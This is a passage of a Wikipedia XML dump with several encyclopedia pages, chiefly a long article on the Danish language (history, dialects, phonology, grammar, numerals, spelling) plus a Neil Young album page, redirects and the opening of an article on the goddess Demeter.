[[Category:English spelling]]

[[de:Deseret-Alphabet]]</text>
    </revision>
  </page>
  <page>
    <title>Data Compression/sampling frequency</title>
    <id>8223</id>
    <revision>
      <id>15906237</id>
      <timestamp>2002-08-25T20:07:34Z</timestamp>
      <contributor>
        <username>Brion VIBBER</username>
        <id>51</id>
      </contributor>
      <comment>Merging to Sampling frequency</comment>
      <text xml:space="preserve">#REDIRECT [[Sampling frequency]]</text>
    </revision>
  </page>
  <page>
    <title>Definition Of Music</title>
    <id>8225</id>
    <revision>
      <id>17936148</id>
      <timestamp>2005-07-01T03:52:04Z</timestamp>
      <contributor>
        <username>Deltabeignet</username>
        <id>195366</id>
      </contributor>
      <minor />
      <comment>slightly changed focus in accordance w/ move</comment>
      <text xml:space="preserve">#REDIRECT [[Definition of music]]</text>
    </revision>
  </page>
  <page>
    <title>Danish</title>
    <id>8226</id>
    <revision>
      <id>41726037</id>
      <timestamp>2006-03-01T08:49:18Z</timestamp>
      <contributor>
        <username>Spasage</username>
        <id>472206</id>
      </contributor>
      <text xml:space="preserve">'''Danish''' may refer to:

* '''[[Danish language|Danish]]''', a [[North Germanic languages|North Germanic language]] spoken almost exclusively in [[Denmark]]
* the '''[[Danish people]]''', mainly citizens or inhabitants of Denmark
* '''[[Danish pastry]]''', often simply called '''danish'''

* '''Danish tongue''' is a common historical name of '''(West) [[Old Norse]]''', the parent language of all North Germanic languages
* '''[[Daner]]''', a Germanic tribe
* '''[[Danish]]''', a proper Arabic name
* [[Ihsan Danish]], Poet from [[Pakistan]]

{{disambig}}

[[bg:Датски]]
[[pt:Dinamarquês]]</text>
    </revision>
  </page>
  <page>
    <title>Danish language</title>
    <id>8227</id>
    <revision>
      <id>42061652</id>
      <timestamp>2006-03-03T15:18:17Z</timestamp>
      <contributor>
        <username>NongBot</username>
        <id>817745</id>
      </contributor>
      <minor />
      <comment>robot  Adding: th</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Danish
|nativename=dansk
|states=[[Denmark]], [[Faroe Islands]], [[Greenland]], [[Germany]] ([[Schleswig-Holstein]])
|speakers=5.5 million
|familycolor=Indo-European
|fam2=[[Germanic languages|Germanic]]
|fam3=[[North Germanic language|North Germanic]]
|fam4=East Scandinavian
|nation=[[Denmark]], [[European Union]], [[Germany]] (protected minority language)
|agency=[[Dansk Sprognævn]] (&quot;Danish Language Committee&quot;)
|iso1=da|iso2=dan|iso3=dan}}

'''Danish''' (''dansk'') belongs to the [[North Germanic languages]] (also called Scandinavian languages), a sub-group of the [[Germanic languages|Germanic]] branch of the [[Indo-European languages]]. It is spoken by around 5.5 million people mainly in [[Denmark]] including some 50,000 people in the northern parts of [[Schleswig-Holstein]] in [[Germany]], where it holds the status of minority language. Danish also holds official status and is a mandatory subject in school in the former Danish colonies of [[Greenland]] and the [[Faroe Islands]], that now enjoy limited autonomy. In [[Iceland]], which was a part of Denmark until [[1944]], Danish is still the second foreign language taught in schools (although a few learn Swedish or Norwegian instead).

The language started diverging from the common ancestor language [[Old Norse language|Old Norse]] sometime during the [[13th century]] and became more distinct from the other emerging Scandinavian national languages with the first bible translation in [[1550]], establishing an [[orthography]] differing from that of [[Swedish language|Swedish]], though written Danish is usually far easier for Swedes to understand than the spoken language. Modern spoken Danish is characterized by a very strong tendency of reduction of many sounds making it particularly difficult for foreigners to understand and properly master, not just by reputation but by sheer phonetic reality.

==Classification and related languages==

Danish belongs to the East Scandinavian languages, together with Swedish. Though Norwegian is classified as a West Scandinavian language together with [[Faroese language|Faroese]] and [[Icelandic language|Icelandic]], a more recent classification based on mutual intelligibility places Icelandic and Faroese in a separate ''Insular Scandinavian'' branch while Norwegian is considered to be a ''Mainland Scandinavian'' language and grouped with Danish and Swedish. Written Danish and Norwegian [[Bokmål]] are particularly close, though the phonology and prosody of all three languages differ somewhat. Proficient speakers of any of the three languages can understand the others, though studies have shown that speakers of Norwegian generally understand both Danish and Swedish far better than Swedes or Danes understand any of the other languages.

==History==

[[Image:Old norse, ca 900.PNG|right|250px|thumb|This is the approximate extent of [[Old Norse language|Old Norse]] and related languages in the early [[10th century]]. The red area is the distribution of the dialect '''Old West Norse'''; the orange area is the spread of the dialect '''Old East Norse'''. The pink area is [[Old Gutnish]] and the green area is the extent of the other [[Germanic languages]] with which Old Norse still retained some mutual intelligibility.]] In the [[8th century]], the common [[Germanic language]] of [[Scandinavia]], [[Proto-Norse language|Proto-Norse]], had undergone some changes and evolved into [[Old Norse]]. This language began to undergo new changes that did not spread to all of Scandinavia, which resulted in the appearance of two similar dialects, ''Old West Norse'' ([[Norway]] and [[Iceland]]) and ''Old East Norse'' ([[Denmark]] and [[Sweden]]). 

Old East Norse is in Sweden called ''Runic Swedish'' and in Denmark ''Runic Danish'', but until the [[12th century]], the dialect was the same in the two countries. The dialects are called ''runic'' due to the fact that the main body of text appears in the [[runic alphabet]]. Unlike [[Proto-Norse]], which was written with the [[Elder Futhark]] alphabet, Old Norse was written with the [[Younger Futhark]] alphabet, which only had 16 letters. Due to the limited number of runes, some runes were used for a range of [[phoneme]]s, such as the rune for the [[vowel]] ''u'' which was also used for the vowels ''o'', ''ø'' and ''y'', and the rune for ''i'' which was also used for ''e''.

A change that separated Old East Norse (Runic Swedish/Danish) from Old West Norse was the change of the [[diphthong]] ''æi'' (Old West Norse ''ei'') to the [[monophthong]] ''e'', as in ''stæin'' to ''sten''. This is reflected in runic inscriptions where the older read ''stain'' and the later ''stin''. There was also a change of ''au'' as in ''dauðr'' into ''ø'' as in ''døðr''. This change is shown in runic inscriptions as a change from ''tauþr'' into ''tuþr''. Moreover, the ''øy'' (Old West Norse ''ey'') diphthong changed into ''ø'' as well, as in the Old Norse word for &quot;island&quot;.

From [[1100]] and onwards, the dialect of Denmark began to diverge from that of Sweden. The innovations spread unevenly from Denmark which created a series of minor dialectal boundaries, [[isogloss]]es, ranging from [[Zealand]] to [[Svealand]].

Some famous authors of works in Danish are [[existentialism|existential]] [[philosopher]] [[Søren Kierkegaard]], prolific [[fairy tale]] author [[Hans Christian Andersen]], and playwright [[Ludvig Holberg]]. Three [[20th century]] Danish authors have become [[Nobel Prize]] laureates in [[Nobel Prize in Literature|Literature]]: [[Karl Adolph Gjellerup]] and [[Henrik Pontoppidan]] (joint recipients in [[1917]]) and [[Johannes Vilhelm Jensen]] (awarded [[1944]]).

Danish was once widely spoken in the northeast counties of England.  Many Danish derived words such as gate (gade) for street, still survive in [[Yorkshire]] and other parts of eastern England colonized by Danish [[Vikings]].  The city of [[York]] was once the Danish settlement of Jorvik.

The first translation of the [[Bible]] in Danish was published in [[1550]].

==Geographical distribution==

Danish is the [[official language]] of [[Denmark]], one of two official languages of [[Greenland]] (the other is [[Greenlandic language|Greenlandic]]), and one of two official languages of the [[Faroe Islands|Faeroes]] (the other is [[Faroese language|Faeroese]]). In addition, there is a small community of Danish speakers in [[Schleswig]], the portion of [[Germany]] bordering Denmark, where it is an officially recognized and protected [[regional language]]. Furthermore, it is one of the official languages of the [[European Union]].

== Dialects ==
Standard Danish (''rigsdansk'' or ''rigsmål'') is the language based on dialects spoken in and around the capital of [[Copenhagen]]. Unlike Swedish and Norwegian, Danish does not have more than one regional speech norm. More than 20% of all Danish speakers live in the metropolitan area and most government agencies, institutions and major businesses keep their main offices in Copenhagen, something that has resulted in a very homogeneous national speech norm. Though [[Oslo]] and [[Stockholm]] are quite dominant in terms of speech standards, cities like [[Bergen, Norway|Bergen]], [[Gothenburg]] and the [[Malmö]]-[[Lund]] region are large and influential enough to create secondary regional norms, making the standard language more varied than is the case with Danish. The general agreement is that Standard Danish is based on a form of Copenhagen dialect, but the specific norm is, as with most language norms, difficult to pinpoint for both laymen and linguists. More distinct &quot;genuine&quot; [[dialect]]s still exist in smaller communities, but most speakers in these areas generally speak a regionalized form of Standard Danish. Usually an adaption of the local dialect to ''rigsdansk'' is spoken, though code-changing between the neutralized norm and a distinct dialect is common. 

Danish dialects are divided into three general dialect groups:

*''Østdansk'' (&quot;Eastern Danish)
*''Ødansk'' (&quot;Island Danish&quot;)
*''Jysk'' (&quot;Jutlandish&quot;)

Historically, Eastern Danish includes what is today considered Southern Swedish dialects like [[Scanian (linguistics)|Scanian]] and the dialect spoken on the island of [[Bornholm]] in the [[Baltic Sea|Baltic]] between the coasts Sweden and Germany. The background for this lies in the loss of originally Danish provinces like [[Blekinge]], [[Halland]] and [[Skåne]] to Sweden in 1658. While many similarities can be found in Southern Swedish and the Bornholm-dialect, they are more similar to the modern national standards than to each other. The Bornholm-dialect has also maintained a distinction between three [[grammatical gender]]s, rather than just two in Standard Danish and lacks the diphthongs used in the standard language.

==Sound system==
{{main|Danish phonology}}

The sound system of Danish is in many ways unique among the world's languages. It is quite prone to considerable reduction and [[assimilation (linguistics)|assimilation]] of both consonants and vowels even in very formal standard language. A rare feature is the presence of a prosodic feature called ''[[stød]]'' in Danish (lit. &quot;push; thrust&quot;), absent in some southern dialects. This is a form of laryngealization or [[creaky voice]], occasionally realized as a [[glottal stop]] (especially in emphatic pronunciation). It can be the only distinguishing feature between certain words, thus creating [[minimal pair]]s (e.g. ''bønder'' &quot;peasants&quot; with stød vs. ''bønner'' &quot;beans&quot; without). The distribution of stød in the lexicon is obviously related to the distribution of the common Scandinavian [[tone (linguistics)|tonal]] word accents found in most dialects of [[Norwegian language|Norwegian]] and [[Swedish language|Swedish]], including the national [[standard language]]s. Most linguists today believe that stød is a development of the word accents, rather than the other way round. Stød generally occurs in words that have &quot;accent 1&quot; in Swedish and Norwegian and that were monosyllabic in [[Old Norse]], while no-stød occurs in words that have &quot;accent 2&quot; in Swedish and Norwegian and that were polysyllabic in Old Norse.

Unlike the neighboring Continental Scandinavian languages, the [[prosody]] of Danish does not have phonemic pitch. [[stress (linguistics)|Stress]] is phonemic in and distinguishes words 
such as ''billigst'' ['bilist] &quot;cheapest&quot; and ''bilist'' [bi'list] &quot;car driver&quot;.

===Vowels===
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; font-family: Arial Unicode MS, Lucida Sans Unicode&quot;
|-
| rowspan=&quot;2&quot; |
! colspan=&quot;2&quot; | [[Front vowel|Front]]
! colspan=&quot;2&quot; | [[Central vowel|Central]]
! colspan=&quot;2&quot; | [[Back vowel|Back]]
|- align=center
| unrounded
| rounded
| unrounded
| rounded
| unrounded
| rounded
|- align=center
|[[Close vowel|Close]]&lt;br&gt;(high)
| i
| y
| 
|
|
| u
|- align=center
|[[Close-mid vowel|Close-mid]]
| e
| ø
| 
|
|
| o
|- align=center
|[[Mid vowel|Mid]]
|
|
| ə
|
|
|
|- align=center
|[[Open-mid vowel|Open-mid]]
|ɛ
|œ
|ɐ
|
|
|ɔ
|- align=center
| [[Open vowel|Open]]&lt;br&gt;(low)
|a
|
|
|
|ɑ
|ɒ
|}
Modern Standard Danish has 26 vowel [[phoneme]]s, out of which all but two can be both long and short, [[Schwa]] and {{IPA|/ɐ/}}. The long and short realizations often differ in [[vowel#Articulation|quality]] and there are several [[allophones]] that differ if they occur together with an /r/. For example, /ø/ is lowered when it occurs either before or after /r/ and /a/ is pronounced {{IPA|[ɛ]}} when it's long.

===Consonants===
{| border=&quot;2&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin: 1em 1em 1em 0; background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse; text-align: center; font-size: 105%;&quot;
|-
!
! colspan=&quot;2&quot; | [[Bilabial]]
! colspan=&quot;2&quot; | [[Labiodental|Labio]]-&lt;/br&gt;[[labiodental|dental]]
! colspan=&quot;2&quot; | [[Alveolar]]
! colspan=&quot;2&quot; | [[Alveolar|Alveolo]]-&lt;/br&gt;[[palatal|palatal]]
! colspan=&quot;2&quot; | [[Palatal]]
! colspan=&quot;2&quot; | [[Velar]]
! colspan=&quot;2&quot; | [[Uvular|Uvu]]-&lt;/br&gt;[[Pharyngeal|pharyngeal]]
! colspan=&quot;2&quot; | [[Glottal]]
|-
|[[Plosive]]s
| {{IPA|pʰ}}
| {{IPA|b}}
| colspan=&quot;2&quot; |
| {{IPA|tˢ}}
| {{IPA|d}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| {{IPA|kʰ}}
| {{IPA|g}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|-
|[[Nasal]]s
| colspan=&quot;2&quot; | {{IPA|m}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; | {{IPA|n}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; | {{IPA|ŋ}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|-
|[[Fricative]]s
| colspan=&quot;2&quot; |
| {{IPA|f}}
| 
| {{IPA|s}}
| 
| colspan=&quot;2&quot; | ( {{IPA|ɕ}} )
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| {{IPA|h}}
|
|-
|[[Approximant]]s
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; | {{IPA|v}}
| colspan=&quot;2&quot; | {{IPA|ð}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; | {{IPA|j}}
| colspan=&quot;2&quot; | 
| colspan=&quot;2&quot; | {{IPA|r}}
| colspan=&quot;2&quot; |
|-
| [[Lateral consonant|Lateral&lt;br&gt;approximant]]
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; | 
| colspan=&quot;2&quot; | {{IPA|l}}
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
| colspan=&quot;2&quot; |
|}

{{IPA|/b, d, g/}} are [[phonation|devoiced]] in all contexts. {{IPA|/v, ð/}} often have slight frication, but are usually pronounced as [[approximant]]s. No distinction between {{IPA|/pʰ~b/}} and /{{IPA|tˢ~d/}} is made in certain contexts, such as after {{IPA|/s/}}, between short vowels and in word-final position. Hence ''lappe'' and ''labbe'' are rendered {{IPA|[labə]}}. The combination of {{IPA|/sj/}} is realized as a [[voiceless alveolo-palatal fricative|alveolo-palatal fricative]], {{IPA|[ɕ]}}, making it possible to postulate a tentative {{IPA|/ɕ/}}-phoneme in Danish. {{IPA|/r/}} can be described as &quot;tautosyllabic&quot;, meaning that it take the form of either a phonetic consonant or vowel. At the beginning of a word, it is pronounced as a [[voiced uvular fricative|uvular fricative]], {{IPA|[ʁ]}}, with less friction between syllables, and as a non-syllabic [[near-open central vowel|low central vowel]], {{IPA|[ɐ]}}. The latter is almost identical to how /r/ is often pronounced in [[German language|German]].

==Grammar==
{{main|Danish grammar}}

The infinitive forms of most Danish verbs end in a vowel, which in almost all cases is the letter ''e''.  Verbs are conjugated according to [[Grammatical tense|tense]], but otherwise do not vary according to [[Grammatical person|person]] or [[Grammatical number|number]].  For example the present tense form of the Danish infinitive verb ''spise'' (&quot;to eat&quot;) is ''spiser''; this form is the same regardless of whether the subject is in the first, second, or third person, or whether it is singular or plural. This extreme ease of conjugating verbs is made up for by the many [[Irregular verb|irregular verbs]] in the language.

Danish nouns fall into two grammatical genders: ''common'' and ''neuter''. While the majority of nouns (ca. 90%) have the ''common'' gender and ''neuter'' is often used for inanimate objects, the genders of nouns are not generally predictable and must in most cases be memorized. A distinctive feature of the Scandinavian languages, including Danish, is an enclitic definite article.
To demonstrate: The ''common'' gender word &quot;a man&quot; (indefinite) is ''en mand'' but &quot;the man&quot; (definite) is ''manden''. The ''neuter'' equivalent would be &quot;a house&quot; (indefinite) ''et hus'', &quot;the house&quot; (definite) ''huset''. Even though the definite and indefinite articles have separate origins, they have become homographs. In the plural the definite articles is ''-ene'', whereas there is no indefinite article in the plural. The enclitic article is not used when an adjective is added to the noun; here the demonstrative pronoun is used instead: ''den store mand'' &quot;the big man&quot; and &quot;the big house&quot;, ''det store hus''

Like most Germanic languages, Danish joins compound nouns. The example ''kvindehåndboldlandsholdet'', &quot;the female handball national team&quot;, illustrates that it does so to a significantly higher degree than [[English language|English]]. In some cases, nouns are joined with an extra ''s'', like ''landsmand'' (from ''land'', &quot;country&quot;, and ''mand'', &quot;man&quot;, meaning &quot;compatriot&quot;), but ''landmand'' (from same roots, meaning &quot;farmer&quot;). Some words are joined with an extra ''e'', like ''gæstebog'' (from ''gæst'' and ''bog'', meaning &quot;guest book&quot;).

==Vocabulary==

Most Danish words are derived from the [[Old Norse language]], with new words formed by compounding. A large percentage of Danish words, however, hails from [[Middle Low German]] (for example, betale = to pay, måske = maybe). Later on, [[German language|standard German]] and [[French language|French]] and now [[English language|English]] have superseded Low German influence. Because English and Danish are related languages, many common words are very similar in the two languages.  For example, the following Danish words are easily recognizable in their written form to English speakers: ''have'', ''over'', ''under'', ''for'', ''kat''. When pronounced, these words sound quite different from their English equivalents, however. In addition, the suffix ''by'', meaning &quot;town&quot;, occurs in several English placenames, such as ''Whitby'' and ''Selby'', as remnants of the [[Viking]] occupation.

===Numerals===
In Danish numerals, the tens and units digits of numbers above 20 are reversed when spoken or written, such that 21 is rendered ''enogtyve'' or ''en-og-tyve'', i.e. one and twenty. (The dashes in ''en-og-tyve'' and in the similar examples below are not commonly used, but are included here for clarity.) This is similar to [[German language|German]], [[Dutch language|Dutch]] and also to some variants of [[Bokmål]] Norwegian (sometimes known as [[Riksmål]]). Danish numerals from 50 to 90 are based on a [[vigesimal]] system similar to that of [[French language|French]] not shared with the other Scandinavian languages. This means that the [[score]] (i.e. 20, ''tyve'' or, archaically, ''snes'') is used as a base number: ''Tres'' (short for ''tre-sinds-tyve'' or ''tre snese'') means 3 times 20, that is 60. Similarly, ''halvtreds'' (short for ''halvtred-sinds-tyve'') means 2.5 times 20, that is 50. The numeral ''halvanden'' means 1.5 (literally &quot;half second&quot;, i.e. the first plus half of the second). The numerals ''halvtredje'' (2.5) and ''halvfjerde'' (3.5), likewise constructed by &quot;overcounting&quot;, are obsolete, but still implicitly used in the vigesimal system. The ending ''-indstyve'' is archaic in [[cardinal number]]s, but still often used in [[ordinal number]]s. Thus, &quot;fifty-two&quot; is usually rendered ''to-og-halvtreds'', whereas &quot;fifty-second&quot; is either ''to-og-halvtredsende'' or ''to-og-halvtredsindstyvende''. Many Danes are unaware of the vigesimal roots of such numerals.

==Writing system==

Danish is written using the [[Latin alphabet]], with three additional letters: ''[[Æ|æ]]'', ''[[Ø|ø]]'', and ''[[Å|å]]'', which come at the end of the [[Danish alphabet]], in that order.  A [[spelling reform]] in [[1948]] introduced the letter ''å'', already in use in Norwegian and Swedish, into the Danish alphabet to replace the letter ''aa''; the old usage still occurs in some personal and geographical names and old documents (for example, the name of the city of ''Ålborg'' is often spelled ''Aalborg''). When representing the ''å'' sound, ''aa'' is treated just like ''å'' in alphabetical sorting, even though it looks like two letters.

The same spelling reform changed the spelling of a few common words, such as ''vilde'', ''kunde'' and ''skulde'', to their current forms of ''ville'', ''kunne'' and ''skulle'', and did away with the practice of capitalising all nouns, which [[German language|German]] still does. Modern Danish and Norwegian use the same alphabet, though spelling differs somewhat.

==See also==
* [[Synnejysk]]

==References==
* [[Hans Basbøll|Basbøll, Hans]] (2005) ''The Phonology of Danish'' ISBN 0-19-824268-9

== External links ==

{{InterWiki|code=da}}
{{book}}
*[http://danish.nigilist.ru/ Danish-English, English-Danish online dictionary]
*[http://www.dicts.info/dictlist1.php?k1=23 All free Danish dictionaries]
*[http://www.ordnet.dk/ods/ Dictionary of the Danish Language]
*[http://www.speakdanish.dk/index.html &quot;Speak Danish&quot; 10 day intensive online course]
*[http://www.eulanguages.net/ &quot;STELLA Danish&quot; free online course for beginners]
*[http://www.ethnologue.org/show_language.asp?code=dan Ethnologue report for Danish]
*[http://www.dsn.dk/omdsn_en.htm Information on the Danish language]
*[http://www.websters-online-dictionary.org/translation/Danish/ Dictionary] with Danish- English Translations from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition
*[http://hjem.tele2adsl.dk/johnmadsen/Danish/danish.html Danish grammar]
* [http://www.loecsen.com/travel/discover_pop.php?lang=en&amp;to_lang=19&amp;learn-Danish/ Hear and learn useful expressions in Danish]
*[http://language-directory.50webs.com/languages/danish.htm List of online Danish-language related resources]

{{Official EU languages}}

[[Category:Danish language]]
[[Category:Guttural R]]
[[Category:Languages of Denmark]]
[[Category:Languages of Germany]]
[[Category:North Germanic languages]]

[[af:Deens (taal)]]
[[ang:Denisc sprǣc]]
[[ar:لغة دانماركية]]
[[bg:Датски език]]
[[be:Дацкая мова]]
[[bs:Danski jezik]]
[[ca:Danès]]
[[cs:Dánština]]
[[da:Dansk (sprog)]]
[[de:Dänische Sprache]]
[[et:Taani keel]]
[[es:Idioma danés]]
[[eo:Dana lingvo]]
[[fr:Danois]]
[[gl:Lingua dinamarquesa]]
[[ko:덴마크어]]
[[io:Daniana linguo]]
[[id:Bahasa Denmark]]
[[is:Danska]]
[[it:Lingua danese]]
[[he:דנית]]
[[ka:დანიური ენა]]
[[kw:Danek]]
[[la:Lingua Danica]]
[[lt:Danų kalba]]
[[li:Deens]]
[[hu:Dán nyelv]]
[[nl:Deens]]
[[nds:Däänsche Spraak]]
[[ja:デンマーク語]]
[[no:Dansk språk]]
[[nn:Dansk språk]]
[[pl:Język duński]]
[[pt:Língua dinamarquesa]]
[[ro:Limba daneză]]
[[ru:Датский язык]]
[[se:Dánskkagiella]]
[[sk:Dánčina]]
[[sl:Danščina]]
[[fi:Tanskan kieli]]
[[sv:Danska]]
[[th:ภาษาเดนมาร์ก]]
[[tr:Danca]]
[[uk:Данська мова]]
[[zh:丹麦语]]</text>
    </revision>
  </page>
  <page>
    <title>Decade (Neil Young album)</title>
    <id>8228</id>
    <revision>
      <id>41800436</id>
      <timestamp>2006-03-01T21:04:52Z</timestamp>
      <contributor>
        <username>Rikkila</username>
        <id>841415</id>
      </contributor>
      <text xml:space="preserve">:''For other albums named ''Decade'', see [[decade (disambiguation)]].''
{{Album infobox | &lt;!-- Wikipedia Project Albums infobox --&gt;
  Name        = Decade |
  Type        = [[Compilation album]] |
  Artist      = [[Neil Young]] |
  Cover       = NeilYoung_Decade.jpg |
  Background  = darkseagreen |
  Released    = November, [[1977]] |
  Recorded    = |
  Genre       = [[Country rock]], [[Folk-rock]], [[Rock (music)|Rock]] |
  Length      = 143:40 |
  Label       = [[Reprise Records|Reprise]] |
  Producer    = Elliot Mazer |
  Reviews     = &lt;nowiki&gt;&lt;/nowiki&gt;
*''[[All Music Guide]]'' [[Image:5 out of 5.png|5 out of 5]] [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=10:um09kent7q7z link] |
Last album  = ''[[American Stars'n'Bars]]''&lt;br /&gt;(1977) |
This album  = ''Decade''&lt;br /&gt;(1977) |
Next album  = ''[[Comes a Time]]''&lt;br /&gt;(1978) |
}}
'''''Decade''''' is a [[Double album|triple]]-[[compilation album]] by [[Neil Young]], released in [[1977]]. It contains thirty-five of Young's songs between [[1966]] and [[1976]], as well as five tracks that were unreleased up to that point.

When re-release on Compact disc this was reduced to a two disc set, also it was remastered in 2002

==Track listing==
# Down to the Wire &amp;ndash; 2:25  
# Burned &amp;ndash; 2:14  
# Mr. Soul &amp;ndash; 2:41  
# Broken Arrow &amp;ndash; 6:13  
# Expecting to Fly &amp;ndash; 3:44  
# Sugar Mountain &amp;ndash; 5:43  
# I Am a Child &amp;ndash; 2:17  
# The Loner &amp;ndash; 3:50  
# The Old Laughing Lady &amp;ndash; 5:35  
# Cinnamon Girl &amp;ndash; 2:59  
# Down by the River &amp;ndash; 8:58  
# Cowgirl in the Sand &amp;ndash; 10:01  
# I Believe in You &amp;ndash; 3:27  
# After the Gold Rush &amp;ndash; 3:45  
# Southern Man &amp;ndash; 5:31  
# Helpless &amp;ndash; 3:34  
# Ohio &amp;ndash; 2:56  
# Soldier &amp;ndash; 2:28  
# Old Man &amp;ndash; 3:21  
# A Man Needs a Maid &amp;ndash; 3:58  
# Harvest &amp;ndash; 3:08  
# Heart of Gold &amp;ndash; 3:06  
# Star of Bethlehem &amp;ndash; 2:46  
# The Needle and the Damage Done &amp;ndash; 2:02  
# Tonight's the Night, Pt. 1 &amp;ndash; 4:41  
# Tired Eyes &amp;ndash; 4:33  
# Walk On &amp;ndash; 2:40  
# For the Turnstiles &amp;ndash; 3:01  
# Winterlong &amp;ndash; 3:05  
# Deep Forbidden Lake &amp;ndash; 3:39  
# Like a Hurricane &amp;ndash; 8:16  
# Love Is a Rose &amp;ndash; 2:16  
# Cortez the Killer &amp;ndash; 7:29  
# Campaigner &amp;ndash; 3:30  
# Long May You Run &amp;ndash; 3:48


==Charts==
'''Album''' - [[Billboard_magazine|Billboard]]
{| border=1 cellspacing=0 cellpadding=2 width=&quot;250px&quot;
!align=&quot;left&quot;|Year
!align=&quot;left&quot;|Chart
!align=&quot;left&quot;|Position
|-
|align=&quot;left&quot;|1977
|align=&quot;left&quot;|Pop Albums
|align=&quot;left&quot;|43
|-
|}


{{compilation-album-stub}}
[[Category:Neil Young albums]] [[Category:1977 albums]] [[Category:Compilation albums]] [[Category:Greatest hits albums]] [[Category:Triple albums]]</text>
    </revision>
  </page>
  <page>
    <title>Demeter</title>
    <id>8230</id>
    <revision>
      <id>40201662</id>
      <timestamp>2006-02-18T22:49:13Z</timestamp>
      <contributor>
        <username>Silence</username>
        <id>84942</id>
      </contributor>
      <minor />
      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:Demeter (Greek Mythology).jpg|thumb|left|145px|Demeter, [[Ancient Greece|Greek]] goddess of the harvest.]] --&gt;
{{otheruses1|the grain goddess Demeter}}
[[Image:Cosmè Tura 005.jpg|thumb|right|200px|Ceres (Demeter), allegory of August: detail of a fresco by [[Cosimo Tura]], Palazzo Schifanoia, Ferrara, 1469-70]] 

&lt;!-- Image with unknown copyright status removed: [[Image:Demeter.png|thumb|200px|right|Hellenistic cult statue of Demeter from her sanctuary at [[Knidos]], now in the [[British Museum]].]] --&gt;
'''Dêmêtêr''' (or '''Demetra''') (DEH-MEH-ter) (&amp;Delta;&amp;eta;&amp;mu;&amp;eta;&amp;tau;&amp;eta;&amp;rho;, &quot;mother-goddess&quot; or perhaps &quot;distribution-mother&quot;) is the [[Greek mythology|Greek]] [[goddess]] of [[agriculture]], the pure nourisher of youth and the green earth, the health-giving cycle of life and death, and preserver of [[marriage]] and the sacred law. She is invoked as the &quot;bringer of [[season]]s&quot; in the [[Homeric hymn]], a subtle sign that she was worshiped long before the Olympians arrived. The Homeric Hymn to Demeter has been dated to sometime around the Seventh Century BC.{{ref|Nilsson1}}  She and her daughter [[Persephone]] were the central figures of the [[Eleusinian Mysteries]] that also predated the Olympian pantheon.

The Roman equivalent is [[Ceres]].

Demeter is easily confused with [[Gaia (mythology)|Gaia]] or [[Rhea (mythology)|Rhea]], and with [[Cybele]]. The goddess's [[epithet]]s reveal the span of her functions in Greek life. Demeter and Kore (&quot;the maiden&quot;) are usually invoked as ''to theo'' ('&quot;The Two Goddesses&quot;), and they appear in that form in Linear B graffiti at Mycenaean [[Pylos]] in pre-[[History of Hellenistic Greece|Hellenic]] times.  A connection with the goddess-cults of [[Minoan civilization|Minoan]] [[Crete]] is quite possible.  

It has been reported that [[Isocrates]] in his Panegyricus wrote that the greatest gifts which Demeter gave the Athenians were corn, which made man different from wild animals, and the Mysteries which give man higher hopes in this life and the afterlife.{{ref|Nilsson2}}

== Titles and functions ==
In various contexts, Demeter is invoked with many epithets:
*'''Potnia''' (&quot;mistress&quot; in the ''[[Homeric Hymns|Homeric Hymn]] to Demeter'')
*'''Chloe''' (&quot;the green shoot&quot;, Pausanias 1.22.3, for her powers of fertility and eternal youth)
*'''Anesidora''' (&quot;sending up gifts&quot; from the earth Pausanias 1.31.4, as Demeter)
*'''Malophoros''' (&quot;apple-bearer&quot; or &quot;sheep-bearer&quot;, Pausanias 1.44.3)
*'''Kidaria''' (Pausanias 8.13.3),
*'''Chthonia''' (&quot;in the ground&quot;, Pausanias 3.14.5)
*'''Erinys''' (&quot;implacable&quot;, Pausanias 8.25.50)
*'''Lusia''' (&quot;bathing&quot;, Pausanias 8.25.8)
*'''Thermasia''' (&quot;warmth&quot;, Pausanias 2.34.6)
*'''[[Cabiri|Kabeiraia]]''', a pre-Greek name of uncertain meaning
*'''Thesmophoros''' (&quot;giver of customs&quot; or even &quot;legislator&quot;, a role that links her to the even more ancient goddess [[Themis]]. This title was connected with the [[Thesmophoria]], a festival of secret women-only rituals in [[History of Athens|Athens]] connected with marriage customs.)

[[Theocritus]] remembered an earlier role of Demeter:
:''For the Greeks Demeter was still a poppy goddess''
:''Bearing sheaves and poppies in both hands.'' &amp;mdash; ''Idyll'' vii.157
In a clay statuette from Gazi (Heraklion Museum, Kereny 1976 fig 15), the Minoan poppy goddess wears the seed capsules, sources of nourishment and narcosis, in her diadem. &quot;It seems probable that the Great [[Mother Goddess]], who bore the names Rhea and Demeter, brought the poppy with her from her Cretan cult to [[Eleusinian mysteries|Eleusis]], and it is certain that in the Cretan cult sphere, opium was prepared from poppies&quot; (Kerenyi 1976, p 24).

In honor of Demeter of Mysia a seven-day festival was held at Pellené in [[Arcadia]] (Pausan. 7. 27, 9). It lasted for seven days. Pausanias passed the shrine to Demeter at Mysia on the road from [[Mycenae]] to [[Argos]] but all he could draw out to explain the archaic name was a myth of an eponymous Mysius who venerated Demeter.

Major sites for the [[cult (religion)|cult]] of Demeter were not confined to any localized part of the Greek world: there were sites at Eleusis, in Sicily, Hermion, in Crete, Megara, Celeae, Lerna, Aegila, Munychia, Corinth, Delos, Priene, Akragas, Iasos, Pergamon, Selinus, Tegea, Thorikos, Dion, Lykosoura, Mesembria, Enna, and Samosthrace.

